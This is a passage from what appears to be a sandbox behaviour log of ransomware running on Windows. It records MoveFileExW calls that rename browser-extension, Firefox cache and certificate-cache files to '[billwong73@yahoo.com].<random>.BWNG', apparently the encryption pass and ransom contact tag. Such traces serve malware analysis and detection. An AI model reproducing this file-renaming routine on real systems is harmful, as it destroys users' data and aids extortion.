Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\[billwong73@yahoo.com].3hbF9U3Y-t7cYqQzx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\[billwong73@yahoo.com].3hbf9u3y-t7cyqqzx.bwng"), dwFlags=0x1) returned 1 [0134.651] GetTickCount () returned 0x1169196 [0134.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27660371059) returned 1 [0134.652] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\[billwong73@yahoo.com].heqm4SAH-kQ2ZJKR4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\[billwong73@yahoo.com].heqm4sah-kq2zjkr4.bwng"), dwFlags=0x1) returned 1 [0134.653] GetTickCount () returned 0x1169196 [0134.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27660550093) returned 1 [0134.654] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\[billwong73@yahoo.com].Yk9zUu6Q-jEJKpxmn.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\[billwong73@yahoo.com].yk9zuu6q-jejkpxmn.bwng"), dwFlags=0x1) returned 1 [0134.655] GetTickCount () returned 0x1169196 [0134.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27660725519) returned 1 [0134.655] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\[billwong73@yahoo.com].5a7d9pG0-SusR4Cl4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\[billwong73@yahoo.com].5a7d9pg0-susr4cl4.bwng"), dwFlags=0x1) returned 1 [0134.657] GetTickCount () returned 0x1169196 [0134.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27660905053) returned 1 [0134.657] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\[billwong73@yahoo.com].QJbFadzH-kq0jf3rF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\[billwong73@yahoo.com].qjbfadzh-kq0jf3rf.bwng"), dwFlags=0x1) returned 1 [0134.658] GetTickCount () returned 0x1169196 [0134.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27661059280) returned 1 [0134.659] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\[billwong73@yahoo.com].jFETRUo1-dVOeaMzI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\[billwong73@yahoo.com].jfetruo1-dvoeamzi.bwng"), dwFlags=0x1) returned 1 [0134.717] GetTickCount () returned 0x11691d4 [0134.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27666947056) returned 1 [0134.718] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\[billwong73@yahoo.com].2XICs4FR-E5wQLRBl.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\[billwong73@yahoo.com].2xics4fr-e5wqlrbl.bwng"), dwFlags=0x1) returned 1 [0134.719] GetTickCount () returned 0x11691d4 [0134.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27667174683) returned 1 [0134.720] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\[billwong73@yahoo.com].KPg4Mvc1-wPIniJe0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\[billwong73@yahoo.com].kpg4mvc1-wpinije0.bwng"), dwFlags=0x1) returned 1 [0134.721] GetTickCount () returned 0x11691d4 [0134.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27667362321) returned 1 [0134.722] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\[billwong73@yahoo.com].wPnpZX4H-cDZsAxB9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\[billwong73@yahoo.com].wpnpzx4h-cdzsaxb9.bwng"), dwFlags=0x1) returned 1 [0134.723] GetTickCount () returned 0x11691e4 [0134.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27667535605) returned 1 [0134.723] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\[billwong73@yahoo.com].nzQrtinL-kfcYpAwl.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\[billwong73@yahoo.com].nzqrtinl-kfcypawl.bwng"), dwFlags=0x1) returned 1 [0134.725] GetTickCount () returned 0x11691e4 [0134.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27667731316) returned 1 [0134.725] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_003_"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\[billwong73@yahoo.com].CvE9WlyK-kd0UTRX0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\[billwong73@yahoo.com].cve9wlyk-kd0utrx0.bwng"), dwFlags=0x1) returned 1 [0134.727] GetTickCount () returned 0x11691e4 [0134.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27667888549) returned 1 [0134.727] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\[billwong73@yahoo.com].cAePA4zd-88xy1WZI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\[billwong73@yahoo.com].caepa4zd-88xy1wzi.bwng"), dwFlags=0x1) returned 1 [0134.728] GetTickCount () returned 0x11691e4 [0134.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27668037600) returned 1 [0134.728] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\3130b1871a126520a8c47861efe3ed4d"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].IMMfVQTB-EwDwJi8i.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].immfvqtb-ewdwji8i.bwng"), dwFlags=0x1) returned 1 [0134.730] GetTickCount () returned 0x11691e4 [0134.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27668225840) returned 1 [0134.730] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7396c420a8e1bc1da97f1af0d10bad21"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].XZQKfHsY-vpOfHQhW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].xzqkfhsy-vpofhqhw.bwng"), dwFlags=0x1) returned 1 [0134.731] GetTickCount () returned 0x11691e4 [0134.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27668362305) returned 1 [0134.732] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_5ea65844b9ef5670a9c002cbd85b10a4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].CuvuYMJS-8m8reNGZ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].cuvuymjs-8m8rengz.bwng"), dwFlags=0x1) returned 1 [0134.774] GetTickCount () returned 0x1169213 [0134.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27672634035) returned 1 [0134.775] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].slYBNE3N-1KVLB0i6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].slybne3n-1kvlb0i6.bwng"), dwFlags=0x1) returned 1 [0134.776] GetTickCount () returned 0x1169213 [0134.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27672839784) returned 1 [0134.777] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\bc570ec0de58335afaf92fdc8e3aa330_f4d449ca9e0eaccfe15946f8fcd349fc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].89eu6JBU-ANwnxQ1r.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].89eu6jbu-anwnxq1r.bwng"), dwFlags=0x1) returned 1 [0134.778] GetTickCount () returned 0x1169213 [0134.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27673009347) returned 1 [0134.778] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\024823b39fbeaccdb5c06426a8168e99_6d5cab161a1c65362a913d29be09d91b"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].9ip5j3wX-yzsCSYVb.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].9ip5j3wx-yzscsyvb.bwng"), dwFlags=0x1) returned 1 [0134.782] GetTickCount () returned 0x1169213 [0134.782] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27673441660) returned 1 [0134.783] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5080dc7a65db6a5960ecd874088f3328_2908f682dfc81a793bd240cf29711c77"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].ONMKyreC-QSKGoQ85.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].onmkyrec-qskgoq85.bwng"), dwFlags=0x1) returned 1 [0134.784] GetTickCount () returned 0x1169213 [0134.784] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27673617110) returned 1 [0134.784] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7d266d9e1e69fa1eefb9699b009b34c8_1d5a876a9113ec07224c45e5a870e3bd"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].i1j4Qo7u-n5V3k4GW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].i1j4qo7u-n5v3k4gw.bwng"), dwFlags=0x1) returned 1 [0134.793] GetTickCount () returned 0x1169222 [0134.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27674575467) returned 1 [0134.794] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_f6e15778dc8e326895c606fbfa0392eb"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].qgpm5Jw7-I4pxqysr.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].qgpm5jw7-i4pxqysr.bwng"), dwFlags=0x1) returned 1 [0134.795] GetTickCount () returned 0x1169222 [0134.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27674742441) returned 1 [0134.795] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\[billwong73@yahoo.com].qCjZVKEw-cKtSECPg.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\[billwong73@yahoo.com].qcjzvkew-cktsecpg.bwng"), dwFlags=0x1) returned 1 [0134.797] GetTickCount () returned 0x1169222 [0134.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27674903599) returned 1 [0134.797] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\[billwong73@yahoo.com].kBOmQn48-znpQtjbt.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\[billwong73@yahoo.com].kbomqn48-znpqtjbt.bwng"), dwFlags=0x1) returned 1 [0134.798] GetTickCount () returned 0x1169222 [0134.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27675066687) returned 1 [0134.799] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\[billwong73@yahoo.com].O21bEfmJ-gJOMy3Th.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\[billwong73@yahoo.com].o21befmj-gjomy3th.bwng"), dwFlags=0x1) returned 1 [0134.834] GetTickCount () returned 0x1169251 [0134.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27678579020) returned 1 [0134.834] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\[billwong73@yahoo.com].yeYwrDdQ-EnK7ulCV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\[billwong73@yahoo.com].yeywrddq-enk7ulcv.bwng"), dwFlags=0x1) returned 1 [0134.836] GetTickCount () returned 0x1169251 [0134.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27678846255) returned 1 [0134.837] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\[billwong73@yahoo.com].aA0DW7Rz-2CaB4jrE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\[billwong73@yahoo.com].aa0dw7rz-2cab4jre.bwng"), dwFlags=0x1) returned 1 [0134.838] GetTickCount () returned 0x1169251 [0134.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27679035794) returned 1 [0134.838] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js 